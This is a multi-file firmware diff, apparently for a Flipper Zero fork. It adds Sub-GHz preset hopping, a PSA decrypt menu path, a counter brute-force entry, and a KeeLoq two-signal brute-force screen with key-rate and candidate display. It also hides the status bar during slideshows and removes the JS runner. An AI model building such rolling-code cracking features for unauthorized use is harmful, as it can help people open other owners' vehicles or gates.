if(index == 0) {
SubGhzRadioPreset current_preset = subghz_txrx_get_preset(subghz->txrx);
const char* current_preset_name = furi_string_get_cstr(current_preset.name);
int current_preset_index = subghz_setting_get_inx_preset_by_name(setting, current_preset_name);
if(current_preset_index >= 0) {
subghz->last_settings->preset_index = current_preset_index;
}
variable_item_set_current_value_text(preset_item, current_preset_name);
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = false;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
} else {
bool was_running = (subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateRunning);
if(was_running) {
subghz_txrx_preset_hopper_pause(subghz->txrx);
}
subghz->last_settings->preset_hopping_threshold = preset_hopping_mode_value[index];
variable_item_set_current_value_text(preset_item, " -----");
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = true;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
}
VariableItem* hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexHopping);
variable_item_set_locked(
hopping_item,
index != 0,
"Turn off\nPreset\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_speaker(VariableItem* item) {
@@ -385,8 +477,9 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
subghz->last_settings->enable_hopping = hopping_value[default_index];
subghz->last_settings->enable_mod_hopping = false;
subghz_txrx_mod_hopper_set_running(subghz->txrx, false);
subghz->last_settings->enable_preset_hopping = false;
subghz->last_settings->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
variable_item_list_set_selected_item(subghz->variable_item_list, default_index);
variable_item_list_reset(subghz->variable_item_list);
@@ -451,16 +544,26 @@ void subghz_scene_receiver_config_on_enter(void* context) {
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, hopping_mode_text[value_index]);
// Mod Hopping
variable_item_set_locked(
item,
subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF,
"Turn off\nPreset\nHopping\nfirst!");
value_index = subghz_scene_receiver_config_preset_hopper_value_index(subghz);
item = variable_item_list_add(
subghz->variable_item_list,
"Mod Hopping",
COMBO_BOX_COUNT,
subghz_scene_receiver_config_set_mod_hopping,
"Preset Hopping",
PRESET_HOPPING_MODE_COUNT,
subghz_scene_receiver_config_set_preset_hopping,
subghz);
value_index = subghz->last_settings->enable_mod_hopping ? 1 : 0;
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, combobox_text[value_index]);
variable_item_set_current_value_text(item, preset_hopping_mode_text[value_index]);
variable_item_set_locked(
item,
subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF,
"Turn off\nHopping\nfirst!");
}
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=

View File

@@ -2,10 +2,10 @@
enum SubmenuIndex {
SubmenuIndexEmulate,
SubmenuIndexPsaDecrypt,
SubmenuIndexEdit,
SubmenuIndexDelete,
SubmenuIndexSignalSettings,
SubmenuIndexPsaDecrypt,
SubmenuIndexCounterBf
};
@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
void subghz_scene_saved_menu_on_enter(void* context) {
SubGhz* subghz = context;
// Check protocol type for conditional menu items
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool is_psa_encrypted = false;
bool has_counter = false;
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", proto)) {
if(furi_string_equal_str(proto, "PSA GROUP")) {
// Check if Type field is missing or zero (not yet decrypted)
FuriString* type_str = furi_string_alloc();
flipper_format_rewind(fff);
if(!flipper_format_read_string(fff, "Type", type_str) ||
@@ -39,37 +37,31 @@ void subghz_scene_saved_menu_on_enter(void* context) {
furi_string_free(proto);
}
// Check if protocol has a Cnt field (supports counter bruteforce)
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
if(got_uint) {
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
has_counter = true;
} else {
FuriString* cnt_str = furi_string_alloc();
flipper_format_rewind(fff);
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
if(got_str && furi_string_size(cnt_str) > 0) {
has_counter = true;
}
furi_string_free(cnt_str);
}
FuriString* proto_dbg = furi_string_alloc();
flipper_format_rewind(fff);
flipper_format_read_string(fff, "Protocol", proto_dbg);
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
furi_string_free(proto_dbg);
}
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(!is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
submenu_add_item(
subghz->submenu,
@@ -92,15 +84,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
SubmenuIndexSignalSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
};
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(has_counter) {
submenu_add_item(
subghz->submenu,
@@ -126,6 +111,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexDelete) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexDelete);
@@ -141,11 +131,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexCounterBf) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);

View File

@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
SubmenuIndexKeeloqKeys,
subghz_scene_start_submenu_callback,
subghz);
submenu_add_item(
subghz->submenu,
"KeeLoq BF (2 Signals)",
SubmenuIndexKeeloqBf2,
subghz_scene_start_submenu_callback,
subghz);
submenu_set_selected_item(
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
return true;
} else if(event.event == SubmenuIndexKeeloqBf2) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
return true;
}
}
return false;

View File

@@ -10,4 +10,5 @@ enum SubmenuIndex {
SubmenuIndexProtocolList,
SubmenuIndexRadioSetting,
SubmenuIndexKeeloqKeys,
SubmenuIndexKeeloqBf2,
};

View File

@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
subghz->keeloq_keys_manager = NULL;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
subghz->file_path = furi_string_alloc();
subghz->file_path_tmp = furi_string_alloc();
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
SubGhzViewIdPsaDecrypt,
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdKeeloqDecrypt,
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
//init threshold rssi
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
// KeeLoq Decrypt
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
// Read RAW
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
subghz_read_raw_free(subghz->subghz_read_raw);
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
furi_string_free(subghz->file_path);
furi_string_free(subghz->file_path_tmp);
// KeeLoq key manager (may still be live if app exited from within the edit scene)
furi_string_free(subghz->keeloq_bf2.sig1_path);
furi_string_free(subghz->keeloq_bf2.sig2_path);
if(subghz->keeloq_keys_manager) {
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
subghz->keeloq_keys_manager = NULL;

View File

@@ -9,6 +9,7 @@
#include "views/subghz_frequency_analyzer.h"
#include "views/subghz_read_raw.h"
#include "views/subghz_psa_decrypt.h"
#include "views/subghz_keeloq_decrypt.h"
#include <gui/gui.h>
#include <assets_icons.h>
@@ -74,6 +75,7 @@ struct SubGhz {
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
SubGhzReadRAW* subghz_read_raw;
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
bool raw_send_only;
bool save_datetime_set;
@@ -102,13 +104,25 @@ struct SubGhz {
// KeeLoq key management
SubGhzKeeloqKeysManager* keeloq_keys_manager;
struct {
uint8_t key_bytes[8]; // ByteInput result
char name[65]; // TextInput result
uint16_t type; // selected learning type 1..8
bool is_new; // true = add, false = edit
size_t edit_index; // valid when is_new == false
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
uint8_t key_bytes[8];
char name[65];
uint16_t type;
bool is_new;
size_t edit_index;
uint8_t edit_step;
} keeloq_edit;
struct {
uint32_t fix;
uint32_t hop1;
uint32_t hop2;
uint32_t serial;
bool sig1_loaded;
bool sig2_loaded;
FuriString* sig1_path;
FuriString* sig2_path;
uint8_t learn_type;
} keeloq_bf2;
};
void subghz_blink_start(SubGhz* subghz);

View File

@@ -13,7 +13,8 @@
#define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger"
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILE_NAMES "ProtocolNames"
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE "Hopping"
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING "ModHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING "PresetHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD "PresetHoppingThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER "IgnoreFilter"
#define SUBGHZ_LAST_SETTING_FIELD_FILTER "Filter"
#define SUBGHZ_LAST_SETTING_FIELD_RSSI_THRESHOLD "RSSI"
@@ -46,6 +47,8 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
instance->filter = SubGhzProtocolFlag_Decodable;
instance->rssi = SUBGHZ_RAW_THRESHOLD_MIN;
instance->hopping_threshold = -90.0f;
instance->enable_preset_hopping = false;
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
instance->leds_and_amp = true;
Storage* storage = furi_record_open(RECORD_STORAGE);
@@ -101,11 +104,23 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
}
if(!flipper_format_read_bool(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
&instance->enable_mod_hopping,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
instance->enable_preset_hopping = false;
flipper_format_rewind(fff_data_file);
}
float temp_preset_threshold = 0;
if(!flipper_format_read_float(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&temp_preset_threshold,
1)) {
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
flipper_format_rewind(fff_data_file);
} else {
instance->preset_hopping_threshold = temp_preset_threshold;
}
if(!flipper_format_read_uint32(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER,
@@ -223,8 +238,15 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
}
if(!flipper_format_write_bool(
file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
&instance->enable_mod_hopping,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
break;
}
if(!flipper_format_write_float(
file,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&instance->preset_hopping_threshold,
1)) {
break;
}

View File

@@ -12,20 +12,22 @@
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET 1
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
typedef struct {
uint32_t frequency;
uint32_t preset_index; // AKA Modulation
uint32_t preset_index;
uint32_t frequency_analyzer_feedback_level;
float frequency_analyzer_trigger;
bool protocol_file_names;
bool enable_hopping;
bool enable_mod_hopping;
uint32_t ignore_filter;
uint32_t filter;
float rssi;
bool delete_old_signals;
float hopping_threshold;
bool enable_preset_hopping;
float preset_hopping_threshold;
bool leds_and_amp;
uint8_t tx_power;
} SubGhzLastSettings;

View File

@@ -0,0 +1,246 @@
#include "subghz_keeloq_decrypt.h"
#include <gui/elements.h>
#include <furi.h>
#define KL_TOTAL_KEYS 0x100000000ULL
struct SubGhzViewKeeloqDecrypt {
View* view;
SubGhzViewKeeloqDecryptCallback callback;
void* context;
};
typedef struct {
uint8_t progress;
uint32_t keys_tested;
uint32_t keys_per_sec;
uint32_t elapsed_sec;
uint32_t eta_sec;
bool done;
bool success;
uint32_t candidates;
FuriString* result_str;
char status_line[40];
} SubGhzKeeloqDecryptModel;
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
if(count >= 1000000) {
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
} else if(count >= 1000) {
snprintf(buf, len, "%luK", count / 1000);
} else {
snprintf(buf, len, "%lu", count);
}
}
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
canvas_clear(canvas);
if(!model->done) {
canvas_set_font(canvas, FontPrimary);
if(model->status_line[0]) {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
} else {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
}
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
}
canvas_set_font(canvas, FontSecondary);
char keys_str[32];
char tested_buf[12];
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
canvas_draw_str(canvas, 2, 38, keys_str);
char speed_str[40];
char speed_buf[12];
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
uint32_t eta_m = model->eta_sec / 60;
uint32_t eta_s = model->eta_sec % 60;
if(eta_m > 0) {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
} else {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
}
canvas_draw_str(canvas, 2, 48, speed_str);
if(model->candidates > 0) {
char cand_str[32];
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
canvas_draw_str(canvas, 2, 58, cand_str);
} else {
char elapsed_str[24];
uint32_t el_m = model->elapsed_sec / 60;
uint32_t el_s = model->elapsed_sec % 60;
if(el_m > 0) {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
} else {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
}
canvas_draw_str(canvas, 2, 58, elapsed_str);
}
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
}
}
}
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}
return true;
}
return false;
}
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
instance->view = view_alloc();
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
view_set_context(instance->view, instance);
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->result_str = furi_string_alloc();
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
},
false);
return instance;
}
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ furi_string_free(model->result_str); },
false);
view_free(instance->view);
free(instance);
}
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
return instance->view;
}
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = progress;
model->keys_tested = keys_tested;
model->keys_per_sec = keys_per_sec;
model->elapsed_sec = elapsed_sec;
model->eta_sec = eta_sec;
},
true);
}
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->done = true;
model->success = success;
furi_string_set_str(model->result_str, result);
},
true);
}
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
furi_string_reset(model->result_str);
model->status_line[0] = '\0';
},
false);
}
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
if(status) {
strlcpy(model->status_line, status, sizeof(model->status_line));
} else {
model->status_line[0] = '\0';
}
},
true);
}
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ model->candidates = count; },
true);
}

View File

@@ -0,0 +1,37 @@
#pragma once
#include <gui/view.h>
#include "../helpers/subghz_custom_event.h"
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context);
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec);
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result);
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count);

View File

@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Progress bar outline + fill
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
if(fill > 2) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
} else if(fill > 0) {
canvas_draw_box(canvas, 5, 17, fill, 8);
}
canvas_set_font(canvas, FontSecondary);
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Cancel hint - bottom right
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
// Result screen
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
if(model->result_str) {
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
furi_string_get_cstr(model->result_str));
}
elements_button_center(canvas, "Ok");
}
}
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
if(event->key == InputKeyBack) {
if(event->key == InputKeyBack || event->key == InputKeyOk) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}

View File

@@ -1,4 +1,5 @@
#include <storage/storage.h>
#include <gui/gui.h>
#include "../desktop_i.h"
#include "../views/desktop_view_slideshow.h"
@@ -14,6 +15,7 @@ void desktop_scene_slideshow_on_enter(void* context) {
Desktop* desktop = (Desktop*)context;
DesktopSlideshowView* slideshow_view = desktop->slideshow_view;
gui_set_hide_status_bar(desktop->gui, true);
desktop_view_slideshow_set_callback(slideshow_view, desktop_scene_slideshow_callback, desktop);
view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdSlideshow);
@@ -46,5 +48,6 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
void desktop_scene_slideshow_on_exit(void* context) {
Desktop* desktop = context;
gui_set_hide_status_bar(desktop->gui, false);
storage_common_remove(desktop->storage, SLIDESHOW_FS_PATH);
}

View File

@@ -251,16 +251,20 @@ static void gui_redraw(Gui* gui) {
if(gui_is_lockdown(gui)) {
gui_redraw_desktop(gui);
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
gui_redraw_status_bar(gui, need_attention);
if(!gui->hide_status_bar) {
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
gui_redraw_status_bar(gui, need_attention);
}
} else {
if(!gui_redraw_fs(gui)) {
if(!gui_redraw_window(gui)) {
gui_redraw_desktop(gui);
}
gui_redraw_status_bar(gui, false);
if(!gui->hide_status_bar) {
gui_redraw_status_bar(gui, false);
}
}
}
@@ -512,6 +516,16 @@ bool gui_is_lockdown(const Gui* gui) {
return gui->lockdown && !gui->lockdown_inhibit;
}
void gui_set_hide_status_bar(Gui* gui, bool hide) {
furi_check(gui);
gui_lock(gui);
gui->hide_status_bar = hide;
gui_unlock(gui);
gui_update(gui);
}
Canvas* gui_direct_draw_acquire(Gui* gui) {
furi_check(gui);

View File

@@ -127,6 +127,16 @@ void gui_set_lockdown_inhibit(Gui* gui, bool inhibit);
*/
bool gui_is_lockdown(const Gui* gui);
/** Set hide status bar mode
*
* When enabled, the status bar is not drawn on top of the desktop layer.
* Used by the slideshow to show fullscreen content without the status bar overlay.
*
* @param gui Gui instance
* @param hide bool, true to hide status bar
*/
void gui_set_hide_status_bar(Gui* gui, bool hide);
/** Acquire Direct Draw lock and get Canvas instance
*
* This method return Canvas instance for use in monopoly mode. Direct draw lock

View File

@@ -53,6 +53,7 @@ struct Gui {
bool lockdown;
bool lockdown_inhibit;
bool direct_draw;
bool hide_status_bar;
ViewPortArray_t layers[GuiLayerMAX];
Canvas* canvas;

View File

@@ -11,8 +11,6 @@
#define TAG "LoaderApplications"
#define JS_RUNNER_APP "JS Runner"
struct LoaderApplications {
FuriThread* thread;
void (*closed_cb)(void*);
@@ -86,19 +84,13 @@ static bool loader_applications_item_callback(
FuriString* item_name) {
LoaderApplicationsApp* loader_applications_app = context;
furi_assert(loader_applications_app);
if(furi_string_end_with(path, ".fap")) {
return flipper_application_load_name_and_icon(
path, loader_applications_app->storage, icon_ptr, item_name);
} else {
path_extract_filename(path, item_name, false);
memcpy(*icon_ptr, icon_get_frame_data(&I_js_script_10px, 0), FAP_MANIFEST_MAX_ICON_SIZE);
return true;
}
return flipper_application_load_name_and_icon(
path, loader_applications_app->storage, icon_ptr, item_name);
}
static bool loader_applications_select_app(LoaderApplicationsApp* loader_applications_app) {
const DialogsFileBrowserOptions browser_options = {
.extension = ".fap|.js",
.extension = ".fap",
.skip_assets = true,
.icon = &I_unknown_10px,
.hide_ext = true,
@@ -152,12 +144,7 @@ static int32_t loader_applications_thread(void* p) {
view_holder_set_view(app->view_holder, loading_get_view(app->loading));
while(loader_applications_select_app(app)) {
if(!furi_string_end_with(app->file_path, ".js")) {
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
} else {
loader_applications_start_app(
app, JS_RUNNER_APP, furi_string_get_cstr(app->file_path));
}
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
}
// stop loading animation

View File

@@ -4,7 +4,6 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"updater_app",
"js_app",
# "archive",
],
)

View File

@@ -1,281 +0,0 @@
App(
appid="js_app",
name="JS Runner",
apptype=FlipperAppType.SYSTEM,
entry_point="js_app",
stack_size=2 * 1024,
resources="examples",
order=10,
provides=["js_app_start"],
sources=[
"js_app.c",
"js_modules.c",
"js_thread.c",
"js_value.c",
"plugin_api/app_api_table.cpp",
"views/console_view.c",
"modules/js_flipper.c",
"modules/js_tests.c",
],
)
App(
appid="js_app_start",
apptype=FlipperAppType.STARTUP,
entry_point="js_app_on_system_start",
order=110,
sources=["js_app.c"],
)
App(
appid="js_event_loop",
